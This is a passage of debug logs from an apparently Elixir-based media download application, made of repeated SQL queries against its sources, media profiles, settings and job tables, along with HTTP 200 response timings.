s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 06:46:02.155 [debug] QUERY OK source="sources" db=1.1ms queue=1.8ms idle=0.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 06:46:02.155 [debug] QUERY OK source="sources" db=1.0ms queue=1.9ms idle=0.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 06:46:02.155 [debug] QUERY OK source="settings" db=0.3ms queue=2.7ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.155 [debug] QUERY OK source="media_profiles" db=1.7ms queue=1.4ms idle=0.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 06:46:02.155 [debug] QUERY OK source="media_profiles" db=0.5ms queue=2.4ms idle=0.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 06:46:02.156 [debug] QUERY OK source="settings" db=0.8ms queue=1.8ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.156 [debug] QUERY OK source="settings" db=1.2ms queue=2.2ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.156 [debug] QUERY OK source="settings" db=0.9ms queue=2.4ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.157 [debug] QUERY OK source="media_profiles" db=1.5ms queue=1.6ms idle=0.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 06:46:02.157 [debug] QUERY OK source="settings" db=1.5ms queue=1.6ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.157 [debug] QUERY OK source="settings" db=0.6ms queue=0.4ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.157 [debug] QUERY OK source="media_profiles" db=0.9ms queue=0.3ms idle=0.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 06:46:02.157 [debug] QUERY OK source="settings" db=0.5ms queue=0.7ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.158 [debug] QUERY OK source="media_profiles" db=1.2ms queue=0.2ms idle=0.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 06:46:02.158 [debug] QUERY OK source="settings" db=0.2ms queue=1.1ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.158 [debug] QUERY OK source="media_profiles" db=0.6ms queue=1.1ms idle=0.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 06:46:02.158 [debug] QUERY OK source="settings" db=0.9ms queue=0.3ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.158 [debug] QUERY OK source="tasks" db=0.9ms queue=0.4ms idle=0.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [32, "executing", "available", "scheduled", "retryable"] 06:46:02.158 [debug] QUERY OK source="settings" db=0.3ms queue=0.8ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.158 [debug] QUERY OK source="settings" db=0.5ms queue=1.3ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.159 [debug] QUERY OK source="media_profiles" db=1.4ms queue=1.2ms idle=0.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 06:46:02.159 [debug] QUERY OK source="settings" db=0.6ms queue=1.0ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.159 [debug] QUERY OK source="media_profiles" db=0.7ms queue=0.4ms idle=0.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 06:46:02.159 [debug] QUERY OK source="settings" db=0.8ms queue=1.1ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.159 [debug] QUERY OK source="settings" db=0.3ms queue=1.3ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.159 [debug] QUERY OK source="tasks" db=1.0ms queue=1.0ms idle=0.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [33, "executing", "available", "scheduled", "retryable"] 06:46:02.160 [info] Sent 200 in 12ms 06:46:02.160 [debug] QUERY OK source="settings" db=0.8ms queue=0.4ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.160 [debug] QUERY OK source="settings" db=0.9ms queue=1.0ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.160 [debug] QUERY OK source="oban_jobs" db=0.9ms queue=1.0ms idle=0.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7276] 06:46:02.161 [debug] QUERY OK source="tasks" db=1.1ms queue=1.0ms idle=0.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [32, "executing", "available", "scheduled", "retryable"] 06:46:02.161 [debug] QUERY OK source="settings" db=1.1ms queue=0.6ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.161 [debug] QUERY OK source="settings" db=0.5ms queue=1.1ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.161 [debug] QUERY OK source="sources" db=1.1ms queue=0.8ms idle=0.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."media_profile_id" = ?) ORDER BY s0."custom_name" [1] 06:46:02.161 [debug] QUERY OK source="tasks" db=0.7ms queue=1.1ms idle=0.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [32, "executing", "available", "scheduled", "retryable"] 06:46:02.161 [debug] QUERY OK source="settings" db=0.5ms queue=0.5ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.161 [debug] QUERY OK source="settings" db=0.5ms queue=0.2ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.162 [debug] QUERY OK source="tasks" db=0.4ms idle=0.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [33, "executing", "available", "scheduled", "retryable"] 06:46:02.162 [debug] QUERY OK source="settings" db=0.3ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.162 [debug] QUERY OK source="oban_jobs" db=0.6ms idle=0.3ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7276] 06:46:02.162 [info] Sent 200 in 11ms 06:46:02.162 [debug] QUERY OK source="settings" db=0.3ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.162 [debug] QUERY OK source="settings" db=0.3ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.163 [debug] QUERY OK source="oban_jobs" db=0.5ms idle=0.4ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7276] 06:46:02.163 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.163 [debug] QUERY OK source="oban_jobs" db=0.8ms idle=0.3ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7274] 06:46:02.163 [debug] QUERY OK source="settings" db=0.6ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.163 [debug] QUERY OK source="settings" db=0.2ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.163 [debug] QUERY OK source="settings" db=0.1ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.164 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.164 [info] Sent 200 in 13ms 06:46:02.164 [info] Sent 200 in 13ms 06:46:02.164 [debug] QUERY OK source="settings" db=0.9ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.164 [debug] QUERY OK source="settings" db=0.9ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.164 [debug] QUERY OK source="settings" db=0.9ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.164 [debug] QUERY OK source="oban_jobs" db=0.3ms idle=0.6ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7274] 06:46:02.165 [debug] QUERY OK source="settings" db=0.3ms queue=0.2ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.165 [debug] QUERY OK source="settings" db=0.2ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.166 [info] Sent 200 in 14ms 06:46:02.168 [info] Sent 200 in 16ms 06:46:02.168 [debug] QUERY OK source="settings" db=0.1ms idle=3.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.169 [debug] QUERY OK source="settings" db=0.6ms idle=3.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.169 [debug] QUERY OK source="settings" db=0.6ms queue=0.2ms idle=3.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.169 [debug] QUERY OK source="settings" db=0.9ms queue=0.2ms idle=3.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.169 [debug] QUERY OK source="settings" db=0.6ms queue=0.4ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.169 [debug] QUERY OK source="settings" db=0.6ms queue=0.4ms idle=2.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.170 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.170 [debug] QUERY OK source="settings" db=1.0ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.170 [debug] QUERY OK source="settings" db=1.0ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.170 [debug] QUERY OK source="settings" db=1.3ms queue=0.4ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.171 [debug] QUERY OK source="settings" db=1.1ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", 